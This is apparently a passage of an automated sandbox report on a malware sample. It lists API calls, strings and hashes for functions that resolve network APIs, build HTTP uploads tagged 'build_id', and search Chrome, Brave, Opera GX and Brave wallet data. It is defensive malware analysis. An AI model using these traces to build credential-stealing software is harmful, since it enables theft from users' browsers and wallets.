Opcode ID: 70e5038fe392f5cee09affef2300383cc8fed24358716184bd8dc5e7dfbe02d2
Instruction ID: dc9358bd07d4a811e0fce40e3dcf7c55ba5ef79f34c527c2f28e765c7da2127d
Opcode Fuzzy Hash: 70e5038fe392f5cee09affef2300383cc8fed24358716184bd8dc5e7dfbe02d2
Instruction Fuzzy Hash: 19E04834240308BBEF202F60ED06B593E559F11B80F100020FA0CE94F1DBA6D9529695

Function 0013FDCE Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(C118BA38,00000000,00000000,00000000), ref: 0013FE31

Part of subcall function 00143E34: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00142DC6,?,00000000,-00000008), ref: 00143EE0

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0014008C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 001400D4
GetLastError.KERNEL32 ref: 00140177

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 4eb73900f421d97f0c662959863cdd793d2428f57f66ee1201bd040f2c40e2f7
Instruction ID: b8b50fa261d151f8fb778f52d527de0610c923b02aa3b061ac683dc26e170b3a
Opcode Fuzzy Hash: 4eb73900f421d97f0c662959863cdd793d2428f57f66ee1201bd040f2c40e2f7
Instruction Fuzzy Hash: BFD159B5E002589FCF16CFA9D880AEEBBB5FF09314F18452AE955E7361D730A942CB50

Function 00137BC1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00137C88
___AdjustPointer.LIBCMT ref: 00137CAB
___AdjustPointer.LIBCMT ref: 00137D47

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 420ed7b324eba887a4feb1242fb5c49529c623feebea0c8afa067dc8a44a60cc
Instruction ID: 1389a550a29f5233a5cbb3f93418633376fb43acaaea82d050553bd8304f2c74
Opcode Fuzzy Hash: 420ed7b324eba887a4feb1242fb5c49529c623feebea0c8afa067dc8a44a60cc
Instruction Fuzzy Hash: 8551CAB2608A07AFDB398F54D841BBAB3A5EF14710F244529E846866D1E731A884CB90

Function 00144250 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00143E34: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00142DC6,?,00000000,-00000008), ref: 00143EE0

GetLastError.KERNEL32 ref: 001442B4
__dosmaperr.LIBCMT ref: 001442BB
GetLastError.KERNEL32(?,?,?,?), ref: 001442F5
__dosmaperr.LIBCMT ref: 001442FC

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 02855915173d5f202ad8df9b4dc9cede641941f4754c62c9417dab3e1657db2c
Instruction ID: b054eaafa397aabb0c4338fc66aecbb5a66b2950d7e142970cfb35bfafc76ef5
Opcode Fuzzy Hash: 02855915173d5f202ad8df9b4dc9cede641941f4754c62c9417dab3e1657db2c
Instruction Fuzzy Hash: 3521D171604215AFDF20EFA5DC81E6FB7A9FF55364B108518FA29D7221E770EC418B90

Function 0013B5A9 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc8a0dc69324ec792e81e5e9fcb70cf77ff8dd8824db4c01e9e905696c97d7f9
Instruction ID: 40b870b89e47982ad46bf422f6c197c7f9a29b092da495cca0776cc6889a5950
Opcode Fuzzy Hash: cc8a0dc69324ec792e81e5e9fcb70cf77ff8dd8824db4c01e9e905696c97d7f9
Instruction Fuzzy Hash: 22218EB1608205AFDB20AF619CC2D6AB7A9EF61364F114525FB15D7162FB31EC408BA0

Function 001451E6 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 001451EE

Part of subcall function 00143E34: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00142DC6,?,00000000,-00000008), ref: 00143EE0

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00145226
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00145246

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 34989a029cb5aae39733983d34670a9629212e63a7cf5a4c80fe3a3382817fe2
Instruction ID: f97c901a55b89823b636d65a35c8dcb577a9152df8cb4d66981460e24fa9a31a
Opcode Fuzzy Hash: 34989a029cb5aae39733983d34670a9629212e63a7cf5a4c80fe3a3382817fe2
Instruction Fuzzy Hash: 161126F1501A19BFAB1127B16C89CBF69DDDFA97947100125F801E1162EBA1CE404570

Function 00149615 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00148411,00000000,00000001,00000000,00000000,?,001401CB,00000000,00000000,00000000), ref: 0014962C
GetLastError.KERNEL32(?,00148411,00000000,00000001,00000000,00000000,?,001401CB,00000000,00000000,00000000,00000000,00000000,?,00140752,00000000), ref: 00149638

Part of subcall function 001495FE: CloseHandle.KERNEL32(FFFFFFFE,00149648,?,00148411,00000000,00000001,00000000,00000000,?,001401CB,00000000,00000000,00000000,00000000,00000000), ref: 0014960E

___initconout.LIBCMT ref: 00149648

Part of subcall function 001495C0: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,001495EF,001483FE,00000000,?,001401CB,00000000,00000000,00000000,00000000), ref: 001495D3

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00148411,00000000,00000001,00000000,00000000,?,001401CB,00000000,00000000,00000000,00000000), ref: 0014965D

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c4ff1aecb24366a96f73d3ccd511f021ac174a23e565abd96434071470575ff1
Instruction ID: 3cb24c4747d8bac82ad3aa86a6a8dc527203c6568ca2324de5df587c657e9fe2
Opcode Fuzzy Hash: c4ff1aecb24366a96f73d3ccd511f021ac174a23e565abd96434071470575ff1
Instruction Fuzzy Hash: 4DF0AC36501158BBCF221FA5EC0999E3F2AEF197A1F154015FA19D6530DB3289A0DB90

Function 001381BD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 001381E2

Strings

MOC, xrefs: 001381F4
RCC, xrefs: 001381FC

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f0b4ab5cc03a5e88684ecf61dcfd24bcb557a39488254e25ddeba975346b7b7a
Instruction ID: 087695427885c986845c6524cc0408ed938e3202b17ad6463648c76ad0bd695c
Opcode Fuzzy Hash: f0b4ab5cc03a5e88684ecf61dcfd24bcb557a39488254e25ddeba975346b7b7a
Instruction Fuzzy Hash: B3416771900609EFDF15DF98CD81AEEBBB5FF49300F188159F908A7261D735AA50DB50

Analysis Process: RegAsm.exePID: 5768, Parent PID: 7144COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	39

Executed Functions

Function 00417645 Relevance: 207.0, APIs: 114, Strings: 4, Instructions: 490
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00416AAC), ref: 00417659
GetProcAddress.KERNEL32 ref: 00417670
GetProcAddress.KERNEL32 ref: 00417687
GetProcAddress.KERNEL32 ref: 0041769E
GetProcAddress.KERNEL32 ref: 004176B5
GetProcAddress.KERNEL32 ref: 004176CC
GetProcAddress.KERNEL32 ref: 004176E3
GetProcAddress.KERNEL32 ref: 004176FA
GetProcAddress.KERNEL32 ref: 00417711
GetProcAddress.KERNEL32 ref: 00417728
GetProcAddress.KERNEL32 ref: 0041773F
GetProcAddress.KERNEL32 ref: 00417756
GetProcAddress.KERNEL32 ref: 0041776D
GetProcAddress.KERNEL32 ref: 00417784
GetProcAddress.KERNEL32 ref: 0041779B
GetProcAddress.KERNEL32 ref: 004177B2
GetProcAddress.KERNEL32 ref: 004177C9
GetProcAddress.KERNEL32 ref: 004177E0
GetProcAddress.KERNEL32 ref: 004177F7
GetProcAddress.KERNEL32 ref: 0041780E
GetProcAddress.KERNEL32 ref: 00417825
GetProcAddress.KERNEL32 ref: 0041783C
GetProcAddress.KERNEL32 ref: 00417853
GetProcAddress.KERNEL32 ref: 0041786A
GetProcAddress.KERNEL32 ref: 00417881
GetProcAddress.KERNEL32 ref: 00417898
GetProcAddress.KERNEL32 ref: 004178AF
GetProcAddress.KERNEL32 ref: 004178C6
GetProcAddress.KERNEL32 ref: 004178DD
GetProcAddress.KERNEL32 ref: 004178F4
GetProcAddress.KERNEL32 ref: 0041790B
GetProcAddress.KERNEL32 ref: 00417922
GetProcAddress.KERNEL32 ref: 00417939
GetProcAddress.KERNEL32 ref: 00417950
GetProcAddress.KERNEL32 ref: 00417967
GetProcAddress.KERNEL32 ref: 0041797E
GetProcAddress.KERNEL32 ref: 00417995
GetProcAddress.KERNEL32 ref: 004179AC
GetProcAddress.KERNEL32 ref: 004179C3
GetProcAddress.KERNEL32 ref: 004179DA
GetProcAddress.KERNEL32 ref: 004179F1
GetProcAddress.KERNEL32 ref: 00417A08
GetProcAddress.KERNEL32 ref: 00417A1F
LoadLibraryA.KERNEL32(00416AAC,?,00000040,00000064,0041366A,00412D12,?,0000002C,00000064,004135E9,00413626,?,00000024,00000064,Function_000135AC,00413295), ref: 00417A30
LoadLibraryA.KERNEL32 ref: 00417A41
LoadLibraryA.KERNEL32 ref: 00417A52
LoadLibraryA.KERNEL32 ref: 00417A63
LoadLibraryA.KERNEL32 ref: 00417A74
LoadLibraryA.KERNEL32 ref: 00417A85
LoadLibraryA.KERNEL32 ref: 00417A96
LoadLibraryA.KERNEL32 ref: 00417AA7
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00417AB7
GetProcAddress.KERNEL32(751E0000), ref: 00417AD2
GetProcAddress.KERNEL32 ref: 00417AE9
GetProcAddress.KERNEL32 ref: 00417B00
GetProcAddress.KERNEL32 ref: 00417B17
GetProcAddress.KERNEL32 ref: 00417B2E
GetProcAddress.KERNEL32(73F70000), ref: 00417B4D
GetProcAddress.KERNEL32 ref: 00417B64
GetProcAddress.KERNEL32 ref: 00417B7B
GetProcAddress.KERNEL32 ref: 00417B92
GetProcAddress.KERNEL32 ref: 00417BA9
GetProcAddress.KERNEL32 ref: 00417BC0
GetProcAddress.KERNEL32 ref: 00417BD7
GetProcAddress.KERNEL32 ref: 00417BEE
GetProcAddress.KERNEL32(753A0000), ref: 00417C09
GetProcAddress.KERNEL32 ref: 00417C20
GetProcAddress.KERNEL32 ref: 00417C37
GetProcAddress.KERNEL32 ref: 00417C4E
GetProcAddress.KERNEL32 ref: 00417C65
GetProcAddress.KERNEL32(76310000), ref: 00417C84
GetProcAddress.KERNEL32 ref: 00417C9B
GetProcAddress.KERNEL32 ref: 00417CB2
GetProcAddress.KERNEL32 ref: 00417CC9
GetProcAddress.KERNEL32 ref: 00417CE0
GetProcAddress.KERNEL32 ref: 00417CF7
GetProcAddress.KERNEL32(76910000), ref: 00417D16
GetProcAddress.KERNEL32 ref: 00417D2D
GetProcAddress.KERNEL32 ref: 00417D44
GetProcAddress.KERNEL32 ref: 00417D5B
GetProcAddress.KERNEL32 ref: 00417D72
GetProcAddress.KERNEL32 ref: 00417D89
GetProcAddress.KERNEL32 ref: 00417DA0
GetProcAddress.KERNEL32 ref: 00417DB7
GetProcAddress.KERNEL32 ref: 00417DCE
GetProcAddress.KERNEL32(75B30000), ref: 00417DE9
GetProcAddress.KERNEL32 ref: 00417E00
GetProcAddress.KERNEL32 ref: 00417E17
GetProcAddress.KERNEL32 ref: 00417E2E
GetProcAddress.KERNEL32 ref: 00417E45
GetProcAddress.KERNEL32(75670000), ref: 00417E60
GetProcAddress.KERNEL32 ref: 00417E77
GetProcAddress.KERNEL32(76AC0000), ref: 00417E92
GetProcAddress.KERNEL32 ref: 00417EA9
GetProcAddress.KERNEL32(6F500000), ref: 00417EC8
GetProcAddress.KERNEL32 ref: 00417EDF
GetProcAddress.KERNEL32 ref: 00417EF6
GetProcAddress.KERNEL32 ref: 00417F0D
GetProcAddress.KERNEL32 ref: 00417F24
GetProcAddress.KERNEL32 ref: 00417F3B
GetProcAddress.KERNEL32 ref: 00417F52
GetProcAddress.KERNEL32 ref: 00417F69
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00417F7F
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00417F95
GetProcAddress.KERNEL32(75AE0000), ref: 00417FB0
GetProcAddress.KERNEL32 ref: 00417FC7
GetProcAddress.KERNEL32 ref: 00417FDE
GetProcAddress.KERNEL32 ref: 00417FF5
GetProcAddress.KERNEL32(76300000), ref: 00418010
GetProcAddress.KERNEL32(6D1A0000), ref: 0041802B
GetProcAddress.KERNEL32 ref: 00418042
GetProcAddress.KERNEL32 ref: 00418059
GetProcAddress.KERNEL32 ref: 00418070
GetProcAddress.KERNEL32(6CFB0000,SymMatchString), ref: 0041808A

Strings

HttpQueryInfoA, xrefs: 00417F6F
InternetSetOptionA, xrefs: 00417F85
dbghelp.dll, xrefs: 00417AAD
SymMatchString, xrefs: 00418084

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$SymMatchString$dbghelp.dll
API String ID: 2238633743-951535364
Opcode ID: e99d2a3dd66da67205f3114fc9aaaece5a66dc5c732b58a81b65daf475131747
Instruction ID: 5d64eb95f993e10cfffcd180ca7930ca50f89af3c14b7aa20224d1cce3759a27
Opcode Fuzzy Hash: e99d2a3dd66da67205f3114fc9aaaece5a66dc5c732b58a81b65daf475131747
Instruction Fuzzy Hash: 0042D97E811620EFEB929FA0FD48A653BB3F70AB01B147439FA0586231D7364865EF54

Function 0040514C Relevance: 54.9, APIs: 21, Strings: 10, Instructions: 640
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00405151

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004051FC
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040539B
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 004053D2
lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,mode,00000000,?,00000000,?,00425AC8,00000000), ref: 004057CC
lstrlenA.KERNEL32(00000000), ref: 004057DD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004057E7
HeapAlloc.KERNEL32(00000000), ref: 004057EE
lstrlenA.KERNEL32(00000000), ref: 004057FF
memcpy.MSVCRT ref: 00405810
lstrlenA.KERNEL32(00000000), ref: 00405821
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 0040583A
memcpy.MSVCRT ref: 00405843
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405856
HttpSendRequestA.WININET(?,00000000,00000000), ref: 0040586A
InternetReadFile.WININET(?,?,000000C7,?), ref: 004058BE
InternetCloseHandle.WININET(?), ref: 004058C9
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004053F7

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

InternetCloseHandle.WININET(?), ref: 004058D2
InternetCloseHandle.WININET(?), ref: 004058DB
StrCmpCA.SHLWAPI(?), ref: 00405213

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Strings

(, xrefs: 0040591D
------, xrefs: 004053FD
------, xrefs: 0040554D
", xrefs: 00405770
", xrefs: 004054D0
mode, xrefs: 00405746
------, xrefs: 00405295
", xrefs: 0040561F
------, xrefs: 0040569E
build_id, xrefs: 004055F5

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$H_prolog$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$($------$------$------$------$build_id$mode
API String ID: 2237346945-1447386369
Opcode ID: 0ad7276aa294dbd547a4d96f96a942a7d0334b21d4d2b34b5b54ff39ca66d9ac
Instruction ID: d7c5970f0897ada52bebf96924e878e3ecce30d18c8aa08c600bdb313c44272c
Opcode Fuzzy Hash: 0ad7276aa294dbd547a4d96f96a942a7d0334b21d4d2b34b5b54ff39ca66d9ac
Instruction Fuzzy Hash: 51424EB190414DEADB11EBE1C956BEEBBB8AF18308F50017EE505B3582DA781B4CCB65

Function 0040C679 Relevance: 44.7, APIs: 19, Strings: 6, Instructions: 924
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040C67E

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00425B7B,00425B7A,00000000,?,00425CC4,?,?,00425B77,?,?,00000000), ref: 0040C71F
StrCmpCA.SHLWAPI(?,00425CC8,?,?,00000000), ref: 0040C786
StrCmpCA.SHLWAPI(?,00425CCC,?,?,00000000), ref: 0040C7A0
StrCmpCA.SHLWAPI(00000000,Opera GX,00000000,?,?,?,00425CD0,?,?,00425B7E,?,?,00000000), ref: 0040C851

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

\BraveWallet\Preferences, xrefs: 0040CB94
Preferences, xrefs: 0040CA62
H, xrefs: 0040D34C
Opera GX, xrefs: 0040C840
Brave, xrefs: 0040CA43
Google Chrome, xrefs: 0040D027

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Brave$Google Chrome$H$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3869166975-1816240570
Opcode ID: 9804cbcb6549636e7edce159aa3ee5a2d29b2506f6b57e35bae4b86771403b22
Instruction ID: 88dffd7cdbcf1f4ae3e67456db78224bf6b474b6b2878ab6084e2e33bf0d65cc
Opcode Fuzzy Hash: 9804cbcb6549636e7edce159aa3ee5a2d29b2506f6b57e35bae4b86771403b22
Instruction Fuzzy Hash: 67826070900288EADF25EBA5C955BDDBBB4AF19304F5040BEE449B32C2DB78174CCB66

Function 004153F6 Relevance: 44.1, APIs: 21, Strings: 4, Instructions: 316
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

